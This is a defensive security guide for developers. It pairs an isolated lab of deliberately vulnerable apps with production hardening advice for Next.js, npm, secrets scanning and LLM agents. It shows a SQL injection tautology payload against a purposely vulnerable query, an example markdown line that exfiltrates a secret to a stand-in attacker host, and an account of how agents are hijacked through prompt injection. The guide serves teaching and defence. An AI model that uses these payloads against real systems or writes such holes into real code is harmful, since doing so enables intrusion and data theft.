Security Lab Integration Guide

Technology: security · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/security

Insight:

Security at codeAmani is two loops that feed each other. The lab loop: break a deliberately vulnerable target you own (Juice Shop, DVWA, WebGoat, the MASTG crackmes) until you can name the root cause, the diff, and the alert. The shipping loop: the same classes, closed in production code — parameterised queries, server-side authorisation on every request, a nonce CSP, webhook signatures, gitleaks before every push, npm 12's blocked install scripts plus trusted publishing, BotID and rate limits on the routes bots love, and agents that treat every document they read as hostile. The 2026 reality is that the framework is now part of the attack surface: Next.js has shipped a security release every month since July, so "patched Next.js" is a moving floor (16.4.1+ / 15.5.28+ as of this review), not a one-off upgrade.

███████╗███████╗ ██████╗██╗   ██╗██████╗ ██╗████████╗██╗   ██╗
██╔════╝██╔════╝██╔════╝██║   ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝
███████╗█████╗  ██║     ██║   ██║██████╔╝██║   ██║    ╚████╔╝
╚════██║██╔══╝  ██║     ██║   ██║██╔══██╗██║   ██║     ╚██╔╝
███████║███████╗╚██████╗╚██████╔╝██║  ██║██║   ██║      ██║
╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝╚═╝   ╚═╝      ╚═╝

Security Lab Integration Guide

Focus: a defensive, offline lab of deliberately vulnerable targets you own, used to learn each attack class alongside the countermeasure that kills it and the signal that detects it, plus the production hardening that closes the same classes in codeAmani apps (Next.js patch floor, CSP and headers, secrets scanning, npm supply chain, bot and rate-limit controls, and prompt-injection defences for agents). It is never a playbook against real systems.

Read this before you install anything. Testing a computer system you do not own and are not authorised to test is a crime in essentially every jurisdiction codeAmani operates in. In the US that is the Computer Fraud and Abuse Act (18 U.S.C. § 1030) and state equivalents; in Kenya it is the Computer Misuse and Cybercrimes Act, 2018. "I was only learning" is not a defence, and neither is "the system was already broken." Intent does not create authorisation; a signed document does.

The rules this guide operates under, without exception:

  1. Own the target or hold written authorisation. Every host, app, container, and phone image in this lab is either something you installed on your own hardware or a purpose-built training platform whose terms of service explicitly invite testing (PortSwigger Web Security Academy, TryHackMe, Hack The Box, VulnHub images running locally). Nothing else. A public bug bounty programme's policy page is a form of authorisation: read it, and stay inside it.
  2. Written scope before any activity. A real engagement names the exact hosts, domains, IP ranges, and app versions in scope, and explicitly lists what is out of scope. Anything not named is out of scope. In your own lab, write the scope down anyway. It builds the habit, and it stops "I'll just check whether the router does that too."
  3. Rules of engagement. Agree the test window, the rate limits, a named emergency contact on both sides, what happens if you find live customer data (stop, do not exfiltrate, report immediately), and the fact that you will not test availability. Data you encounter is handled under the client's data-protection obligations, not yours.
  4. No spillover. The lab has no route to the internet and no route to production. Bind every target to 127.0.0.1 or a host-only network. A misconfigured docker run -p 3000:3000 publishes a knowingly vulnerable app to your whole LAN, and on a laptop with a public IP or an open Wi-Fi network, to strangers.
  5. Defence is the deliverable. A finding is not finished when you reproduce it. It is finished when you can state the root cause, the code-level fix, and the log line or rule that would have caught it. That is the entire point of this folder.

Out of scope for this guide, permanently: anything aimed at real or third-party systems, malware / ransomware / C2 development, denial-of-service techniques, detection or EDR evasion, credential attacks at scale, and jailbreak or prompt-injection payload collections aimed at third-party AI products. Where a topic is dual-use, only the lab-isolated defensive framing appears here.

Overview

The guide has two halves.

The lab is three things: targets (apps built to be broken), a proxy to watch traffic, and a notebook where each finding becomes a rule. It all runs in Docker on a laptop. The value is not the exploit. It is the loop: you see input reach a place it should never have reached, you find the line of code that let it, and you write the version that does not.

The shipping side (from Hardening what we ship onward) is where those lessons become defaults in every codeAmani app: the Next.js patch floor, a nonce CSP and security headers, gitleaks and npm supply-chain controls, BotID and rate limits, and the OWASP LLM and Agentic Top 10 for anything with a model in the loop.

Pick lab targets by what you want to learn:

Platform Runs Best for Cost
PortSwigger Web Security Academy hosted, per-lab the canonical, current explanation of every web class, free free
OWASP Juice Shop (v20.3.0, 2026-10-11) Docker / npm a full modern JS SPA + API; realistic, gamified, ~100 challenges free, self-hosted
DVWA (2.5) Docker Compose classic PHP app with a security level dial (low → impossible), the single best vulnerable-vs-safe code diff free, self-hosted
OWASP WebGoat (v2026.5, 2026-10-12) Docker lesson-by-lesson teaching with explanation built in; ships WebWolf as the "attacker's own server" free, self-hosted
TryHackMe hosted VMs guided rooms, gentle ramp, structured learning paths freemium
Hack The Box hosted VMs unguided machines; closest to a real engagement's ambiguity freemium
VulnHub download → local VM offline boot-to-root images you run on your own hypervisor free
OWASP MASTG crackmes (MASTG v2.0.0, 2026-06-30) Android / iOS mobile reverse engineering and MASVS-RESILIENCE practice free
flowchart TB
  subgraph HOST["Your workstation"]
    PX["Intercepting proxy<br/>Burp Community · OWASP ZAP"]
  end
  subgraph LAB["Isolated lab, host-only, no egress"]
    J["OWASP Juice Shop<br/>127.0.0.1:3000"]
    D["DVWA<br/>127.0.0.1:4280"]
    W["WebGoat + WebWolf<br/>127.0.0.1:8080 / 9090"]
    M["Android emulator<br/>MASTG crackmes"]
  end
  subgraph OUT["Never a target"]
    P["Production · client systems"]
    T["Any third-party host"]
  end
  PX --> J
  PX --> D
  PX --> W
  PX --> M
  PX -.->|"no written authorisation"| P
  PX -.->|"illegal"| T
  J --> R["Root cause →<br/>countermeasure + detection"]
  D --> R
  W --> R
  M --> R
  R --> C["Shipping defaults<br/>parameterise · authorise server-side<br/>CSP · gitleaks · npm policy · BotID"]

Official Documentation

Resource URL
OWASP Top 10:2025 (moved to its own host) https://top10.owasp.org/2025/
OWASP Top 10 for LLM Applications 2025 https://genai.owasp.org/llm-top-10/
OWASP Top 10 for Agentic Applications for 2026 https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/
OWASP ASVS 5.0.0 (verification standard) https://owasp.org/www-project-application-security-verification-standard/
OWASP Cheat Sheet Series https://cheatsheetseries.owasp.org/
PortSwigger Web Security Academy https://portswigger.net/web-security
OWASP Web Security Testing Guide (WSTG) https://owasp.org/www-project-web-security-testing-guide/
OWASP Juice Shop https://owasp.org/www-project-juice-shop/
DVWA (source) https://github.com/digininja/DVWA
OWASP WebGoat https://owasp.org/www-project-webgoat/
OWASP MAS (MASVS + MASTG) https://mas.owasp.org/
Next.js security advisories (GitHub) https://github.com/vercel/next.js/security/advisories
Next.js CSP guide https://nextjs.org/docs/app/guides/content-security-policy
npm trusted publishing https://docs.npmjs.com/trusted-publishers
npm registry signatures + provenance https://docs.npmjs.com/verifying-registry-signatures
gitleaks https://github.com/gitleaks/gitleaks
Vercel BotID https://vercel.com/docs/botid
Vercel WAF rate-limiting SDK https://vercel.com/docs/vercel-firewall/vercel-waf/rate-limiting-sdk
MITRE ATT&CK (defensive mapping) https://attack.mitre.org/
NIST SP 800-115 (technical testing methodology) https://csrc.nist.gov/pubs/sp/800/115/final

Setup: build the lab

1. Start the targets

All three publish to 127.0.0.1 only. That prefix is not decoration. Drop it and you are hosting a known-vulnerable app on your network. These are the commands from each project's own README as of 2026-10-20.

# OWASP Juice Shop: modern SPA + REST API
docker run --rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop

# OWASP WebGoat + WebWolf: guided lessons (set TZ to your timezone; some lessons need it)
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/New_York webgoat/webgoat

# DVWA: classic PHP, with the security-level dial
git clone https://github.com/digininja/DVWA.git
cd DVWA
docker compose up -d
# → http://localhost:4280   (default creds admin / password, then "Create / Reset Database")

Juice Shop lands on http://localhost:3000, WebGoat on http://localhost:8080/WebGoat/, WebWolf on http://localhost:9090/WebWolf/, DVWA on http://localhost:4280. For one file that boots all three on a no-egress network, see examples/lab-compose.yml.

2. Add an intercepting proxy

An intercepting proxy is a debugging tool first and a testing tool second. It is the same thing you reach for when a webhook body does not look like you expected.

# Burp Suite Community: https://portswigger.net/burp/communitydownload
# OWASP ZAP 2.17.0 (free, open source, scriptable, runs in CI).
# Its web UI listens on 8080 inside the container, so map it to 8081 on the host:
# WebGoat already owns 127.0.0.1:8080.
docker run --rm -u zap -p 127.0.0.1:8081:8080 -p 127.0.0.1:8090:8090 \
  ghcr.io/zaproxy/zaproxy:stable zap-webswing.sh

Point the browser at the proxy, and install its CA certificate in a throwaway browser profile only, never in your daily driver. If you proxy WebGoat through ZAP or Burp, you can no longer use localhost; WebGoat's README has you set WEBGOAT_HOST / WEBWOLF_HOST to custom host names instead.

3. Isolate the network

Isolation is the load-bearing control, and it has its own guides: sandbox/CLAUDE_CODE_INTEGRATION.md for VM and container isolation and networking/CLAUDE_CODE_INTEGRATION.md for addressing and routing. Minimum bar:

# A Docker network with no route off the host
docker network create --internal lab-net

# Verify a container on it genuinely cannot reach the internet
docker run --rm --network lab-net alpine sh -c "wget -qO- -T3 https://example.com || echo 'no egress, correct'"

For VM-based targets (VulnHub images especially, which are untrusted third-party disk images), use a host-only adapter, snapshot before first boot, and revert after. Never bridge a VulnHub image to your LAN.

4. Lab configuration

The lab needs no secrets, which is the point. If you script against it, these are the only two settings, and neither is a secret:

Setting Lab value Notes
LAB_TARGET_URL http://127.0.0.1:3000 Juice Shop. Never a production or client host
LAB_PROXY_URL http://127.0.0.1:8090 ZAP's proxy port as mapped above

Never place a production URL, API key, or database connection string in a lab script. If a tool asks for a target and you have to think about whether the answer is allowed, the answer is no.


The attack classes and what kills them

The current web standard is the OWASP Top 10:2025 (the 8th edition, now served from top10.owasp.org). Two changes matter for how you plan a lab: SSRF was rolled into A01 Broken Access Control, and Software Supply Chain Failures (A03) is its own category. That is exactly why codeAmani's SLSA provenance policy exists (supply-chain/CLAUDE_CODE_INTEGRATION.md).

# (2025) Class What goes wrong Countermeasure How you detect it
A01 Broken Access Control (now includes SSRF) The server trusts a client-supplied identifier: ?orderId=1002, a JWT claim, a hidden field, a URL it is asked to fetch Deny by default; authorise server-side on every request against the session subject, never a request parameter. For SSRF: allowlist destination hosts and validate the resolved IP inside the connection's own DNS lookup (check-then-fetch leaves a DNS-rebinding gap; see networking/examples/safe-fetch.ts), refuse redirects, block 169.254.169.254 and RFC 1918 Log (subject, object, decision) on every access check; alert on a spike of denies from one session, or on outbound requests to internal ranges
A02 Security Misconfiguration Debug mode in prod, default creds, permissive CORS, verbose stack traces, a public storage bucket, a dev server's endpoints reachable Hardened build baseline in CI; explicit CORS origins; generic error responses; security headers (see Headers and CSP) Config drift scanning; alert on Access-Control-Allow-Origin: * or a 500 that leaks a file path
A03 Software Supply Chain Failures A dependency, build system, or distribution channel is compromised, not just "old library" Lockfiles + npm ci; npm 12's blocked install scripts; min-release-age; npm audit signatures; trusted publishing; SLSA Build L3 on anything shipped; GitHub Actions pinned to SHAs (see Supply chain) Dependency review in CI; alert on a lockfile change in a PR that touches no source
A04 Cryptographic Failures Secrets at rest in plaintext, home-rolled crypto, weak hashing, TLS not enforced Platform primitives only (argon2/bcrypt, AEAD ciphers); HSTS; secrets in a manager (Hazina), never in the repo Secret scanning (gitleaks) as a pre-push gate; TLS posture monitoring
A05 Injection (SQLi, command, XSS, template, LDAP) User input crosses from data into a grammar: SQL, a shell command, HTML, a template Parameterise. Prepared statements, execFileSync(cmd, [args]), contextual output encoding, DOMPurify for rendered HTML. Validate at the boundary as defence-in-depth, never as the primary control WAF / CRS rules; DB error-rate spikes; alert on queries whose shape changes (normalised statement fingerprint)
A06 Insecure Design The feature is unsafe as specified: no rate limit on OTP, no re-auth before an email change Threat-model at plan time; write abuse cases next to user stories Business-logic anomaly detection: N password resets an hour, refunds exceeding charges
A07 Authentication Failures Credential stuffing survivable, no MFA, weak session lifecycle, tokens that never expire MFA / passkeys; rate limits + BotID on credential routes; rotate session ID on privilege change; short-lived tokens Alert on auth failure rate per account and per IP; impossible travel; new-device sign-in
A08 Software or Data Integrity Failures Unsigned updates, insecure deserialisation, CI that trusts an unpinned action Signed artefacts + verification; never deserialise untrusted input into live objects; pin the pipeline Verify signatures at install; alert on unexpected artefact digests
A09 Security Logging and Alerting Failures The attack happened and nothing recorded it, or it recorded and nobody was paged Structured security events (authn, authz denials, admin actions, payment state changes) with a real alerting path This is the detection layer. Test it: run a lab attack and confirm something fires
A10 Mishandling of Exceptional Conditions Errors leak internals, or a failure path silently falls open (catch {} → grant access) Fail closed; generic client errors + detailed server-side logs; never swallow an exception on a security path Alert on error-rate spikes on auth/payment paths and on any authorisation path reached via a catch block

Practise each row against a target: A01 on Juice Shop's basket and order endpoints, A05 on DVWA (flip the security level to read the fix diff), A07 and A09 on WebGoat's lesson sequence, and the whole set on the Academy's per-topic labs. When you need a checklist rather than a risk list, use OWASP ASVS 5.0.0; the Top 10 is an awareness document, ASVS is the verification standard.


SQL injection in depth

SQL injection is the reference case because the mechanism generalises to every other injection class, and because the fix is one line.

The mechanism

A SQL statement has two things in it: grammar (SELECT, WHERE, ', --) and data (the phone number a user typed). String concatenation destroys that boundary, so the user's text is parsed as grammar. A single ' closes the string literal early, and everything after it is executed as SQL.

// ❌ VULNERABLE: the input becomes part of the query's grammar
const phone = req.query.phone as string;
const rows = await db.query(
  `SELECT id, name, phone FROM riders WHERE phone = '${phone}'`
);

With phone = 254712000000 the database parses ... WHERE phone = '254712000000'. With phone = ' OR '1'='1 it parses ... WHERE phone = '' OR '1'='1', a tautology, and the endpoint returns every rider. The attacker did not guess a password; they rewrote the query.

The fix: parameterise

A parameterised (prepared) statement sends the query text and the values to the database as separate things. The parser sees the statement first and finalises the grammar; values are then bound to placeholders. A ' inside a bound value is a ' character in a string. It can no longer become punctuation.

// ✅ SAFE: node-postgres / Neon: $1 placeholder, values in an array
const rows = await db.query(
  "SELECT id, name, phone FROM riders WHERE phone = $1",
  [phone]
);
// ✅ SAFE: postgres.js tagged template: interpolations are parameterised, not concatenated
const rows = await sql`SELECT id, name, phone FROM riders WHERE phone = ${phone}`;
// ✅ SAFE: Supabase / PostgREST: the filter builder parameterises for you
const { data, error } = await supabase
  .from("riders")
  .select("id, name, phone")
  .eq("phone", phone);

Escaping is not the fix. Hand-written quote doubling, blocklists of the word UNION, and "strip the apostrophes" all fail against numeric contexts, second-order injection (safe on write, concatenated on read), encoding tricks, and the next database driver you swap in. Parameterise.

The parameterisation footguns

Placeholders bind values, never identifiers or keywords. Anywhere the query shape is dynamic, you cannot parameterise, so you must map through an allowlist:

// ❌ VULNERABLE: sort column concatenated straight in
const rows = await db.query(`SELECT * FROM deliveries ORDER BY ${req.query.sort}`);

// ✅ SAFE: allowlist maps an opaque token to a literal you wrote
const SORTS = { newest: "created_at DESC", fare: "fare_kes DESC" } as const;
const orderBy = SORTS[req.query.sort as keyof typeof SORTS] ?? SORTS.newest;
const rows = await db.query(`SELECT * FROM deliveries ORDER BY ${orderBy}`);

Every ORM keeps a raw escape hatch, and every one of them is where SQLi comes back: Prisma's $queryRawUnsafe, Drizzle's sql.raw(), Knex's knex.raw() with template interpolation, TypeORM's query(). Grep for them in review (PATTERNS.md has the gate). The safe raw form always takes values separately:

// ❌  prisma.$queryRawUnsafe(`SELECT * FROM riders WHERE phone = '${phone}'`)
// ✅  prisma.$queryRaw`SELECT * FROM riders WHERE phone = ${phone}`   // tagged template = parameterised

The layers behind it

Parameterisation is the control. These reduce the blast radius when something else slips through.

Least-privilege database user. The app's role should not be able to read tables it never touches, and should not be able to change schema. A read-only reporting path gets its own role.

-- The application role: exactly the verbs it needs, on exactly the tables it needs
REVOKE ALL ON SCHEMA public FROM PUBLIC;
CREATE ROLE app_rw LOGIN PASSWORD :'app_password';
GRANT USAGE ON SCHEMA public TO app_rw;
GRANT SELECT, INSERT, UPDATE ON deliveries, riders TO app_rw;
GRANT SELECT ON fare_rates TO app_rw;
-- deliberately absent: DROP, CREATE, TRUNCATE, and any grant on audit_log or webhook_jobs

Row Level Security, on Supabase and on plain Postgres, turns "the query returned rows it should not have" into "the database refused." It is the last line that holds when application-layer authorisation has a bug, which is exactly the A01 failure mode.

ALTER TABLE deliveries ENABLE ROW LEVEL SECURITY;
CREATE POLICY rider_reads_own ON deliveries
  FOR SELECT USING (rider_id = auth.uid());

Input validation at the boundary. Validate shape, type, and range with a schema at the edge of the system: every form, API route, and webhook handler. It catches a large class of nonsense early and makes the intended domain explicit. It is defence-in-depth, never the primary control.

import { z } from "zod";

const RiderLookup = z.object({
  // 254XXXXXXXXX: the M-Pesa phone format from CLAUDE.md
  phone: z.string().regex(/^254\d{9}$/),
});

const parsed = RiderLookup.safeParse(await req.json());
if (!parsed.success) return Response.json({ error: "invalid request" }, { status: 400 });

A WAF (Vercel WAF, Cloudflare's managed rules, or the OWASP Core Rule Set in front of your own origin) buys time against automated scanning and mass exploitation of a freshly published CVE. It is a speed bump on a determined, targeted attempt. Never let its presence justify a concatenated query.

Detecting it


Hardening what we ship (2026)

Everything above is the lab. This half is the same classes closed in production code. Each subsection has a runnable file in examples/.

The Next.js patch floor

Next.js is now on a pre-announced monthly security release model (it started with the July 2026 release), with out-of-band releases for critical issues. Since the RSC remote-code-execution bug of December 2025 (CVE-2025-55182, "React2Shell"), the framework itself has been a regular source of critical advisories. Treat "which Next.js are we on" as a security question, and re-check this table every month.

Date Fixed in What was fixed (headline)
2025-03-21 15.2.3 / 14.2.25 / 13.5.9 / 12.3.5 CVE-2025-29927, critical: middleware authorisation bypass via x-middleware-subrequest
2025-12-03 16.0.7 / 15.5.7 (and each 15.x line) CVE-2025-55182, critical: RCE in React Server Components
2026-05-06 / 05-07 15.5.16 / 16.2.5, then 15.5.18 / 16.2.6 Three middleware/proxy bypasses, WebSocket-upgrade SSRF, a CSP-nonce XSS (GHSA-ffhc-5mcf-pf4q), then the incomplete-fix follow-up GHSA-26hh-7cqf-hhc6
2026-07-21 15.5.21 / 16.2.11 SSRF in Server Actions on custom servers and in rewrites; a proxy bypass with Turbopack + single locale
2026-08-25 15.5.24 / 16.3.3 Two critical unauthenticated RCEs (Image Optimization with AVIF; Windows-hosted servers)
2026-09-22 15.5.26 / 16.3.6 Critical RCE in next/og ImageResponse
2026-09-30 15.5.27 / 16.3.8 High SSRF in Image Optimization; several cache-poisoning and cache-leak issues
2026-10-14 15.5.28 / 16.4.1 Critical unauthenticated RCE in use cache functions returning typed arrays (GHSA-673q-mjm6-r5xr, 16.x); critical RCE in Image Optimization with SVG on glibc Linux (CVE-2026-96889, via sharp, fixed by sharp ≥ 0.35.5); high DoS in Server Actions (GHSA-p3m5-59mp-jv5r)

Floor as of 2026-10-20: next ≥ 16.4.1 (Active LTS) or ≥ 15.5.28 (Maintenance LTS). The current latest tag is 16.4.2. The React side of the October fix is react-server-dom-* 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1; upgrading next pulls the right one. Anything on 14.x or earlier 15.x lines is out of support for these fixes; upgrade rather than backport.

Three lessons that outlive the specific CVEs:

  1. Proxy (formerly middleware) is not an authorisation boundary. Six advisories since March 2025 are "middleware / proxy bypass" (CVE-2025-29927, three in May 2026, the GHSA-26hh follow-up, and a Turbopack single-locale bypass in July). Do the session check in proxy.ts for redirects and UX, then authorise again in the route handler, Server Action, or data layer, where the bypass cannot reach. Clerk's resource-level auth.protect() and better-auth's server-side session read are the right shape (see those guides).
  2. Server Actions and route handlers are public POST endpoints. Validate every argument with a schema and authorise inside the action. An action is reachable whether or not a button for it is rendered.
  3. Image Optimization is a server-side fetcher and a parser. It has produced SSRF, DoS and RCE advisories. Restrict images.remotePatterns to the exact hosts you need, never a wildcard, and keep sharp current.

Watch: https://github.com/vercel/next.js/security/advisories, and run npm audit in CI so a new advisory fails the build.

Headers and CSP

Two layers. next.config headers() for the static headers every route gets, and a nonce-based CSP set in proxy.ts, because a nonce must be fresh per request. The complete file is examples/proxy.ts; the shape, from the Next.js CSP guide (updated 2026-03-20):

// proxy.ts (Next 16: the file and the export are both named "proxy")
const nonce = Buffer.from(crypto.randomUUID()).toString("base64");
const csp = [
  "default-src 'self'",
  `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
  `style-src 'self' 'nonce-${nonce}'`,
  "img-src 'self' blob: data:",
  "object-src 'none'",
  "base-uri 'self'",
  "form-action 'self'",
  "frame-ancestors 'none'",
  "upgrade-insecure-requests",
].join("; ");
// set it on BOTH the forwarded request headers (so Next can read the nonce
// and stamp it on its own scripts) and the response

What the docs make explicit, and what bites people:

Alongside the CSP, set on every response: Strict-Transport-Security: max-age=63072000; includeSubDomains; preload (only once every subdomain is HTTPS), X-Content-Type-Options: nosniff, Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy denying what you do not use (camera=(), microphone=(), geolocation=()), and frame-ancestors 'none' in the CSP (the modern replacement for X-Frame-Options). Roll a new CSP out as Content-Security-Policy-Report-Only first.

Authentication and sessions

Auth providers have their own guides (clerk/, better-auth/, auth0/); the security floor across all of them:

Webhooks are public, unauthenticated POSTs

Verify the signature against the raw body before parsing: stripe.webhooks.constructEvent (Stripe signing secret), Svix for Clerk (svix 2's verify() now returns undefined and throws on failure, so do not rely on its return value for the payload; parse the raw body yourself after it passes), and Daraja callback validation for Kenya-targeted projects. Then deduplicate on the provider's event ID. Full patterns live in webhooks/ and the repo-root SECURITY.md.

Secrets scanning: gitleaks

gitleaks v8.30.1 (2026-03-21) is the workspace gate. Since v8.19.0 the commands are git, dir and stdin; detect and protect still work but are hidden and deprecated.

# Whole history of the current repo (what CI runs)
gitleaks git -v .

# Just what you are about to commit (what a pre-commit hook runs)
gitleaks git --pre-commit --staged -v .

# A folder that is not a git repo (a downloaded export, a lab notes dir)
gitleaks dir -v ./notes

# Adopt on an old repo: record today's findings as a baseline, then fail only on new ones
gitleaks git --report-path gitleaks-baseline.json .
gitleaks git --baseline-path gitleaks-baseline.json --report-path findings.json .

Config resolves from --config, then the GITLEAKS_CONFIG env var, then GITLEAKS_CONFIG_TOML, then .gitleaks.toml in the target. Suppress a known test value inline with a gitleaks:allow comment, or by fingerprint in .gitleaksignore. Pass --redact in CI so a finding does not print the secret into build logs.

In CI, prefer the binary or the official image (ghcr.io/gitleaks/gitleaks:v8.30.1) over gitleaks/gitleaks-action@v3. The Action requires a GITLEAKS_LICENSE for repos owned by an organisation (codeAmani-Labs is one); it is free, but the image needs no licence. See examples/security-ci.yml and examples/pre-commit-config.yaml.

A leaked secret is rotated, not deleted. Rewriting history does not un-leak a key that was pushed. Rotate it at the provider first, then clean up.

Supply chain: npm in 2026

The npm ecosystem changed more in the last twelve months than in the five before, mostly in response to self-propagating worms that stole publish tokens through postinstall scripts. The current state, from the npm docs and GitHub changelog:

Control What it is Status (2026-10-20)
npm 12 blocks dependency lifecycle scripts by default Install scripts in dependencies do not run unless the root package.json's allowScripts policy allows them. Approve with npm install-scripts approve, then npm rebuild npm 12.0.0 (2026-07-08); current 12.2.0. Requires Node ^22.22.2 || ^24.15.0 || >=26.0.0
allow-git / allow-remote default to none Git and tarball-URL dependencies are refused unless you opt in npm 12.0.0 (flags arrived in 11.15.0 defaulting to all)
min-release-age Only install versions published more than N days ago; most worm payloads are caught and unpublished within days npm config (complements --before); pnpm has minimumReleaseAge
npm audit signatures Verifies registry signatures and provenance attestations of what you installed npm ≥ 8.15.0; run after npm ci
Trusted publishing (OIDC) CI publishes with a short-lived OIDC token, no stored npm token; provenance is generated automatically GA. Unvalidated configs expire after 48 hours (2026-10-02); issue_comment and pull_request_target events are rejected
Staged publishing npm stage publish puts a version in a queue that a maintainer approves with 2FA before it can be installed; a trusted-publishing config can be stage-only GA 2026-05-22 (npm 11.15.0+); can create new packages since 2026-10-02
Classic tokens Gone. Revoked 2025-12-09. Granular write tokens are capped at 90 days and enforce 2FA by default Done

The codeAmani baseline, as .npmrc plus CI:

# .npmrc (project root): non-secret policy only
min-release-age=3
allow-git=none
allow-remote=none
audit-level=high

Then in CI: npm ci (never npm install), npm audit signatures, npm audit --audit-level=high, gitleaks, and all third-party Actions pinned to a full commit SHA. For publishing, trusted publishing + SLSA Build L3 per supply-chain/CLAUDE_CODE_INTEGRATION.md; for anything high-blast-radius, make the trusted-publishing config stage-only so a compromised workflow cannot ship without a human.

For local installs of a package you have not used before, Socket Firewall (npm i -g sfw, then sfw npm install <pkg>) blocks confirmed malware at the network layer, including transitive dependencies. The free tier needs no API key but sends anonymous telemetry (package names and versions) and only covers public registries. It does not see already-cached packages.

Rate limiting and bot protection

Bots go for the routes that cost you money or create accounts: checkout, sign-up, OTP, password reset, and anything that calls an LLM. Two Vercel-native controls, combined in examples/protected-route.ts:

Off Vercel, Cloudflare WAF rate-limiting rules plus Turnstile are the equivalent pair (cloudflare/ guide), and @upstash/ratelimit works anywhere with a Redis (upstash/ guide).

LLM and agent security

Any feature where a model reads untrusted text and can take actions is its own threat model. Two OWASP lists define the vocabulary:

OWASP Top 10 for LLM Applications 2025 (current edition): LLM01 Prompt Injection · LLM02 Sensitive Information Disclosure · LLM03 Supply Chain · LLM04 Data and Model Poisoning · LLM05 Improper Output Handling · LLM06 Excessive Agency · LLM07 System Prompt Leakage · LLM08 Vector and Embedding Weaknesses · LLM09 Misinformation · LLM10 Unbounded Consumption.

OWASP Top 10 for Agentic Applications for 2026 (published 2025-12-09 by the OWASP GenAI Security Project): ASI01 Agent Goal Hijack · ASI02 Tool Misuse and Exploitation · ASI03 Identity and Privilege Abuse · ASI04 Agentic Supply Chain Vulnerabilities · ASI05 Unexpected Code Execution (RCE) · ASI06 Memory & Context Poisoning · ASI07 Insecure Inter-Agent Communication · ASI08 Cascading Failures · ASI09 Human-Agent Trust Exploitation · ASI10 Rogue Agents. The document places MCP tool poisoning (a falsified tool descriptor or schema) under ASI02, and a tool that is malicious at the source under ASI04.

Prompt injection cannot be fully filtered out, because instructions and data share one channel. So the defences are architectural, the same move as parameterisation: limit what a hijacked model can do, not what it can be told. examples/agent-tool-guard.ts implements the core of it:

  1. Least agency (LLM06, ASI02, ASI03). Each agent gets an explicit tool allowlist. Tools run with the user's scoped credentials, never a shared admin key. Read tools and write tools are separate.
  2. Human approval for consequential actions (ASI09). Sending money, sending messages to third parties, deleting data, and anything irreversible require an explicit confirmation step outside the model's control. An M-Pesa B2C or a Stripe refund is never one tool call away from a document the agent read.
  3. Validate tool arguments with a schema, then authorise them server-side, exactly like a Server Action. The model is an untrusted client.
  4. Mark untrusted content as data. Wrap fetched pages, emails, WhatsApp messages and RAG chunks in clearly delimited blocks and tell the model they are data. This reduces, but does not prevent, injection; the controls above are what hold.
  5. Treat model output as untrusted input (LLM05). Never pass it to eval, a shell, raw SQL, or dangerouslySetInnerHTML. Sanitise rendered markdown, and strip or allowlist URLs and images, which are the standard exfiltration channel (![](https://attacker/?q=<secret>)).
  6. Sandbox code execution (ASI05). Model-written code runs in an isolated sandbox with no secrets and no network by default (sandbox/ guide).
  7. Cap consumption (LLM10). Per-user token and request budgets, max tool-loop iterations, and BotID on the public chat endpoint.
  8. Pin and review MCP servers and skills (ASI04). Treat a third-party MCP server like a dependency: pinned version, reviewed tool descriptions, least-privilege credentials.

The OWASP cheat sheets for this are LLM Prompt Injection Prevention, AI Agent Security, and MCP Security (links in RESOURCES.md).


Mobile: OWASP MASVS and MASTG

The mobile equivalent of the Top 10 is the OWASP Mobile Application Security project: MASVS (the requirements standard) and MASTG (the testing guide, plus the crackmes to practise on). The controls are organised into eight categories, each mapping to a decision you make while writing an app:

MASVS category The defensive question
MASVS-STORAGE Is anything sensitive on disk, in a backup, in a log, or hardcoded in the package?
MASVS-CRYPTO Are keys in the platform keystore, and is the crypto the platform's, not yours?
MASVS-AUTH Is authorisation enforced server-side, with the device only presenting a credential?
MASVS-NETWORK Is TLS enforced, with no user-added CA trust, and validation never disabled "for debugging"?
MASVS-PLATFORM Are IPC surfaces (exported activities, intents, deep links, WebViews, pasteboard) locked down?
MASVS-CODE Are dependencies current, is untrusted input validated, is debug tooling stripped from release?
MASVS-RESILIENCE Does tampering and reverse engineering raise the cost, knowing it never makes the app safe?
MASVS-PRIVACY Is data minimised, disclosed, and does the user actually have control?

MASTG shipped v2.0.0 as a tagged release on 2026-06-30. v2 is built around MASWE weakness IDs (MASWE-0001 …) alongside MASTG-TEST-*, MASTG-DEMO-*, and MASTG-TOOL-* identifiers, with a demo per test so you see the finding reproduced and then fixed. Legacy v1 tests are still linked from the site, so search results mix the two schemes.

Practise on the official crackmes (https://mas.owasp.org/crackmes/) for Android and iOS, on an emulator or a dedicated wiped device. Never on a phone that holds real accounts.

The single most useful lesson the mobile lab teaches: the client is not a trust boundary. Anything the app can compute, an attacker with the binary can compute. Root and jailbreak detection, certificate pinning, and obfuscation (MASVS-RESILIENCE) raise cost; they do not create security. Every authorisation decision belongs on the server. It is the same rule as "proxy is a redirect optimisation, not an authorisation boundary," wearing different clothes.


Desktop and OS hardening

The lab teaches the app layer; the host layer is where a compromise becomes permanent. A defensible baseline per platform:

Platform Baseline that matters Official reference
Windows BitLocker on, Secure Boot + TPM, virtualisation-based security / Credential Guard, SmartScreen, Defender with tamper protection, standard (non-admin) daily account, Attack Surface Reduction rules https://learn.microsoft.com/en-us/windows/security/
macOS FileVault, System Integrity Protection left on, Gatekeeper + notarisation enforced, firewall on, standard account for daily use, Lockdown Mode where the threat model warrants https://support.apple.com/guide/security/welcome/web
Linux Full-disk encryption, automatic security updates, keys-only SSH with root login disabled, host firewall default-deny inbound, SELinux/AppArmor enforcing, minimal installed surface https://ubuntu.com/security
iOS Current iOS, strong passcode + biometric, automatic updates, never install an unknown MDM/CA profile, Lockdown Mode for high-risk users https://support.apple.com/guide/security/welcome/web
Android Current Android + Play Protect, verified boot, sideloading off, per-app permission review, work profile to separate contexts, no root on a device holding real accounts https://source.android.com/docs/security

Cross-cutting, and worth more than any individual toggle: patch fast, run as a standard user, use a password manager plus phishing-resistant MFA (passkeys or hardware keys), full-disk encryption everywhere, and keep a restore-tested backup. Ransomware defence is backup and recovery, not a product.

